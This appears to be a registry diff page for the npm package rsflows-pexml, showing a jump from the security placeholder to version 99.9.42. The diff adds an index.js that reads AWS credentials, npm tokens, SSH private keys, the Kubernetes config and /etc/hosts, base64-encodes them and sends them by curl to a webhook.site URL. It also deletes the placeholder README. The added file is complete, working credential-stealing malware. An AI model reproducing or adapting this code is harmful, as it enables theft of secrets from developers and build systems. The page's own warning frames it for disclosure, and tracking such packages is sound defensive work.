rsflows-pexml 0.0.1-security → 99.9.42
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rsflows-pexml might be problematic. Click here for more details.
- package/index.js +24 -0
- package/package.json +2 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const WEBHOOK = 'https://webhook.site/4dcec135-8ea0-42dd-bb3a-adef891539a3';
|
|
3
|
+
|
|
4
|
+
const payload = `
|
|
5
|
+
(
|
|
6
|
+
echo '--- DUMP START ---';
|
|
7
|
+
echo '[AWS CREDENTIALS]';
|
|
8
|
+
cat ~/.aws/credentials 2>/dev/null || echo 'Not Found';
|
|
9
|
+
echo '[NPM CONFIG]';
|
|
10
|
+
cat ~/.npmrc 2>/dev/null || cat /root/.npmrc 2>/dev/null || echo 'Not Found';
|
|
11
|
+
echo '[SSH KEYS]';
|
|
12
|
+
ls -la ~/.ssh/ 2>/dev/null && cat ~/.ssh/id_rsa 2>/dev/null || echo 'No SSH Keys';
|
|
13
|
+
echo '[K8S CONFIG]';
|
|
14
|
+
cat ~/.kube/config 2>/dev/null || echo 'Not Found';
|
|
15
|
+
echo '[ETC HOSTS]';
|
|
16
|
+
cat /etc/hosts;
|
|
17
|
+
echo '--- DUMP END ---';
|
|
18
|
+
) | base64 | curl -X POST -H 'Content-Type: text/plain' -d @- ${WEBHOOK}/CIBUCIL_DUMP
|
|
19
|
+
`;
|
|
20
|
+
|
|
21
|
+
exec(payload, (err) => {
|
|
22
|
+
if (err) exec('curl -d "Dump_Failed" ' + WEBHOOK);
|
|
23
|
+
});
|
|
24
|
+
|
package/package.json
CHANGED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rsflows-pexml for more information.
|